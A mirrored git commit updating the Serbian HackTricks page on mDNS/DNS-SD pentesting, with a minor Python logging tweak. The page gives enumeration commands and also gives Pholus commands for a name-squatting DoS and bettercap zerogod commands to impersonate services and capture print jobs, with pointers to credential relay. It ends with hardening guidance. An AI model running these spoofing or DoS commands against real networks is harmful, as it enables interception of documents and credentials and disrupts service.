mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
		
							parent
							
								
									6b6c0b9562
								
							
						
					
					
						commit
						44863c77ae
					
				| @ -65,7 +65,7 @@ def ref(matchobj): | ||||
|             dir = path.dirname(current_chapter['source_path']) | ||||
|             rel_path = path.normpath(path.join(dir,href)) | ||||
|             try: | ||||
|                 logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}') | ||||
|                 logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') | ||||
|                 if "#" in  href: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|  | ||||
| @ -2,52 +2,142 @@ | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## **Osnovne informacije** | ||||
| ## Osnovne informacije | ||||
| 
 | ||||
| **Multicast DNS (mDNS)** omogućava **DNS-slične operacije** unutar lokalnih mreža bez potrebe za tradicionalnim DNS serverom. Radi na **UDP portu 5353** i omogućava uređajima da otkriju jedni druge i njihove usluge, što se često vidi kod raznih IoT uređaja. **DNS Service Discovery (DNS-SD)**, koji se često koristi zajedno sa mDNS, pomaže u identifikaciji usluga dostupnih na mreži putem standardnih DNS upita. | ||||
| Multicast DNS (mDNS) omogućava rezoluciju imena sličnu DNS-u i otkrivanje usluga unutar lokalne veze bez unicast DNS servera. Koristi UDP/5353 i multicast adrese 224.0.0.251 (IPv4) i FF02::FB (IPv6). DNS Service Discovery (DNS-SD, obično korišćen sa mDNS) pruža standardizovani način za enumeraciju i opisivanje usluga putem PTR, SRV i TXT zapisa. | ||||
| ``` | ||||
| PORT     STATE SERVICE | ||||
| 5353/udp open  zeroconf | ||||
| ``` | ||||
| ### **Rad mDNS** | ||||
| Ključni detalji protokola koje ćete često koristiti tokom napada: | ||||
| - Imena u .local zoni se rešavaju putem mDNS. | ||||
| - QU (Query Unicast) bit može zahtevati unicast odgovore čak i za multicast pitanja. | ||||
| - Implementacije bi trebale ignorisati pakete koji nisu iz lokalne veze; neki stekovi ih i dalje prihvataju. | ||||
| - Istraživanje/oglašavanje nameće jedinstvena imena hostova/usluga; ometanje ovde stvara DoS/“name squatting” uslove. | ||||
| 
 | ||||
| U okruženjima bez standardnog DNS servera, mDNS omogućava uređajima da rešavaju imena domena koja se završavaju sa **.local** upitom na multicast adresu **224.0.0.251** (IPv4) ili **FF02::FB** (IPv6). Važni aspekti mDNS uključuju **Time-to-Live (TTL)** vrednost koja označava validnost zapisa i **QU bit** koji razlikuje unicast i multicast upite. Sa aspekta bezbednosti, ključno je da mDNS implementacije verifikuju da se izvorna adresa paketa poklapa sa lokalnom podmrežom. | ||||
| ## DNS-SD model usluga | ||||
| 
 | ||||
| ### **Funkcionisanje DNS-SD** | ||||
| Usluge se identifikuju kao _<service>._tcp ili _<service>._udp pod .local, npr. _ipp._tcp.local (štampači), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), itd. Otkrijte tipove sa _services._dns-sd._udp.local, zatim rešite otkrivene instance na SRV/TXT/A/AAAA. | ||||
| 
 | ||||
| DNS-SD olakšava otkrivanje mrežnih usluga upitom za pokazivačke zapise (PTR) koji mapiraju tipove usluga na njihove instance. Usluge se identifikuju koristeći **\_\<Service>.\_tcp ili \_\<Service>.\_udp** obrazac unutar **.local** domena, što dovodi do otkrivanja odgovarajućih **SRV** i **TXT zapisa** koji pružaju detaljne informacije o uslugama. | ||||
| ## Istraživanje i enumeracija mreže | ||||
| 
 | ||||
| ### **Istraživanje Mreže** | ||||
| 
 | ||||
| #### **nmap Korišćenje** | ||||
| 
 | ||||
| Korisna komanda za skeniranje lokalne mreže za mDNS usluge je: | ||||
| - nmap skeniranje cilja (direktno mDNS na hostu): | ||||
| ```bash | ||||
| nmap -Pn -sUC -p5353 [target IP address] | ||||
| nmap -sU -p 5353 --script=dns-service-discovery <target> | ||||
| ``` | ||||
| Ova komanda pomaže u identifikaciji otvorenih mDNS portova i usluga koje se oglašavaju preko njih. | ||||
| 
 | ||||
| #### **Enumeracija Mreže sa Pholus-om** | ||||
| 
 | ||||
| Da biste aktivno slali mDNS zahteve i uhvatili saobraćaj, alat **Pholus** se može koristiti na sledeći način: | ||||
| - nmap broadcast otkrivanje (slušanje segmenta i enumeracija svih DNS-SD tipova/instanci): | ||||
| ```bash | ||||
| sudo python3 pholus3.py [network interface] -rq -stimeout 10 | ||||
| sudo nmap --script=broadcast-dns-service-discovery | ||||
| ``` | ||||
| - avahi-browse (Linux): | ||||
| ```bash | ||||
| # Lista tipova usluga | ||||
| avahi-browse -bt _services._dns-sd._udp | ||||
| # Pregled svih usluga i rešavanje na host/port | ||||
| avahi-browse -art | ||||
| ``` | ||||
| - Apple dns-sd (macOS): | ||||
| ```bash | ||||
| # Pregled svih HTTP usluga | ||||
| dns-sd -B _http._tcp | ||||
| # Enumeracija tipova usluga | ||||
| dns-sd -B _services._dns-sd._udp | ||||
| # Rešavanje specifične instance na SRV/TXT | ||||
| dns-sd -L "My Printer" _ipp._tcp local | ||||
| ``` | ||||
| - Snimanje paketa sa tshark: | ||||
| ```bash | ||||
| # Živo snimanje | ||||
| sudo tshark -i <iface> -f "udp port 5353" -Y mdns | ||||
| # Samo DNS-SD lista upita za usluge | ||||
| sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\"" | ||||
| ``` | ||||
| 
 | ||||
| Savjet: Neki pregledači/WebRTC koriste ephemerne mDNS hostnames za maskiranje lokalnih IP adresa. Ako vidite random-UUID.local kandidate na mreži, rešite ih sa mDNS da pređete na lokalne IP adrese. | ||||
| 
 | ||||
| ## Napadi | ||||
| 
 | ||||
| ### **Iskorišćavanje mDNS Istraživanja** | ||||
| ### mDNS name probing ometanje (DoS / name squatting) | ||||
| 
 | ||||
| Vektor napada uključuje slanje lažnih odgovora na mDNS probe, sugerišući da su svi potencijalni nazivi već u upotrebi, čime se otežava novim uređajima da odaberu jedinstveni naziv. Ovo se može izvršiti korišćenjem: | ||||
| Tokom faze ispitivanja, host proverava jedinstvenost imena. Odgovaranje sa lažnim sukobima ga prisiljava da izabere nova imena ili da ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje usluga. | ||||
| 
 | ||||
| Primer sa Pholus: | ||||
| ```bash | ||||
| sudo python pholus.py [network interface] -afre -stimeout 1000 | ||||
| # Block new devices from taking names by auto-faking responses | ||||
| sudo python3 pholus3.py <iface> -afre -stimeout 1000 | ||||
| ``` | ||||
| Ova tehnika efikasno blokira nove uređaje da registruju svoje usluge na mreži. | ||||
| ### Service spoofing and impersonation (MitM) | ||||
| 
 | ||||
| **Ukratko**, razumevanje funkcionisanja mDNS i DNS-SD je ključno za upravljanje mrežom i bezbednost. Alati kao što su **nmap** i **Pholus** nude dragocene uvide u lokalne mrežne usluge, dok svest o potencijalnim ranjivostima pomaže u zaštiti od napada. | ||||
| Imitirati reklamirane DNS-SD usluge (štampače, AirPlay, HTTP, deljenje fajlova) kako biste primorali klijente da se povežu sa vama. Ovo je posebno korisno za: | ||||
| - Zapošljavanje dokumenata imitujući _ipp._tcp ili _printer._tcp. | ||||
| - Mamiti klijente ka HTTP/HTTPS uslugama kako biste prikupili tokene/kolačiće ili isporučili payload-e. | ||||
| - Kombinovati sa NTLM relays tehnikama kada Windows klijenti pregovaraju o autentifikaciji sa imitiranih usluga. | ||||
| 
 | ||||
| ### Spoofing/MitM | ||||
| Sa bettercap-ovim zerogod modulom (mDNS/DNS-SD spoofer/imitator): | ||||
| ```bash | ||||
| # Start mDNS/DNS-SD discovery | ||||
| sudo bettercap -iface <iface> -eval "zerogod.discovery on" | ||||
| 
 | ||||
| Najzanimljiviji napad koji možete izvesti preko ove usluge je **MitM** u **komunikaciji između klijenta i pravog servera**. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak akreditive (Windows autentifikacija).\ | ||||
| # Show all services seen from a host | ||||
| > zerogod.show 192.168.1.42 | ||||
| 
 | ||||
| # Impersonate all services of a target host automatically | ||||
| > zerogod.impersonate 192.168.1.42 | ||||
| 
 | ||||
| # Save IPP print jobs to disk while impersonating a printer | ||||
| > set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/ | ||||
| > zerogod.impersonate 192.168.1.42 | ||||
| 
 | ||||
| # Replay previously captured services | ||||
| > zerogod.save 192.168.1.42 target.yml | ||||
| > zerogod.advertise target.yml | ||||
| ``` | ||||
| Takođe pogledajte generičke LLMNR/NBNS/mDNS/WPAD spoofing i radne tokove za hvatanje/ponovno korišćenje kredencijala: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Beleške o nedavnim problemima sa implementacijom (korisno za DoS/persistenciju tokom angažmana) | ||||
| 
 | ||||
| - Avahi reachable-assertion i D-Bus greške (2023) mogu prekinuti avahi-daemon na Linux distribucijama (npr. CVE-2023-38469..38473, CVE-2023-1981), ometajući otkrivanje usluga na ciljnim hostovima do ponovnog pokretanja. | ||||
| - Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) omogućava susednim napadačima da izazovu visoku CPU upotrebu i isključe AP-ove. Ako naiđete na mDNS gateway između VLAN-ova, budite svesni njegove stabilnosti pod neispravnim ili visokim mDNS opterećenjem. | ||||
| 
 | ||||
| ## Odbrambene razmatranja i OPSEC | ||||
| 
 | ||||
| - Granice segmenta: Ne rutirajte 224.0.0.251/FF02::FB između bezbednosnih zona osim ako mDNS gateway nije izričito potreban. Ako morate da povežete otkrivanje, preferirajte allowlists i ograničenja brzine. | ||||
| - Windows krajnje tačke/serveri: | ||||
| - Da biste onemogućili rešavanje imena putem mDNS, postavite vrednost registra i ponovo pokrenite: | ||||
| ``` | ||||
| HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) | ||||
| ``` | ||||
| - U upravljanim okruženjima, onemogućite ugrađeno pravilo “mDNS (UDP-In)” Windows Defender Firewall-a (barem na domen profilu) kako biste sprečili ulazno mDNS procesiranje dok čuvate funkcionalnost kod kuće/roaming. | ||||
| - Na novijim Windows 11 verzijama/GPO šablonima, koristite politiku “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” i postavite je na Onemogućeno. | ||||
| - Linux (Avahi): | ||||
| - Ograničite objavljivanje kada nije potrebno: postavite `disable-publishing=yes`, i ograničite interfejse sa `allow-interfaces=` / `deny-interfaces=` u `/etc/avahi/avahi-daemon.conf`. | ||||
| - Razmotrite `check-response-ttl=yes` i izbegavajte `enable-reflector=yes` osim ako nije strogo potrebno; preferirajte `reflect-filters=` allowlists kada reflektujete. | ||||
| - macOS: Ograničite ulazni mDNS na host/network firewall-ima kada Bonjour otkrivanje nije potrebno za specifične podmreže. | ||||
| - Monitoring: Upozorite na neobične poraste u `_services._dns-sd._udp.local` upitima ili iznenadne promene u SRV/TXT kritičnih usluga; ovo su indikatori spoofinga ili impersonacije usluga. | ||||
| 
 | ||||
| ## Brzi referentni vodič za alate | ||||
| 
 | ||||
| - nmap NSE: `dns-service-discovery` i `broadcast-dns-service-discovery`. | ||||
| - Pholus: aktivno skeniranje, obrnuti mDNS pretraživanja, DoS i spoofing pomoćnici. | ||||
| ```bash | ||||
| # Pasivno presretanje (timeout sekunde) | ||||
| sudo python3 pholus3.py <iface> -stimeout 60 | ||||
| # Nabrajanje tipova usluga | ||||
| sudo python3 pholus3.py <iface> -sscan | ||||
| # Slanje generičkih mDNS zahteva | ||||
| sudo python3 pholus3.py <iface> --request | ||||
| # Obrnuto mDNS pretraživanje podmreže | ||||
| sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24 | ||||
| ``` | ||||
| - bettercap zerogod: otkrivanje, čuvanje, oglašavanje i impersonacija mDNS/DNS-SD usluga (vidi primere iznad). | ||||
| 
 | ||||
| ## Spoofing/MitM | ||||
| 
 | ||||
| Najzanimljiviji napad koji možete izvesti preko ove usluge je da izvršite MitM u komunikaciji između klijenta i pravog servera. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak kredencijale (Windows autentifikacija).\ | ||||
| Za više informacija pogledajte: | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -57,5 +147,7 @@ Za više informacija pogledajte: | ||||
| ## Reference | ||||
| 
 | ||||
| - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) | ||||
| - [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) | ||||
| - [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user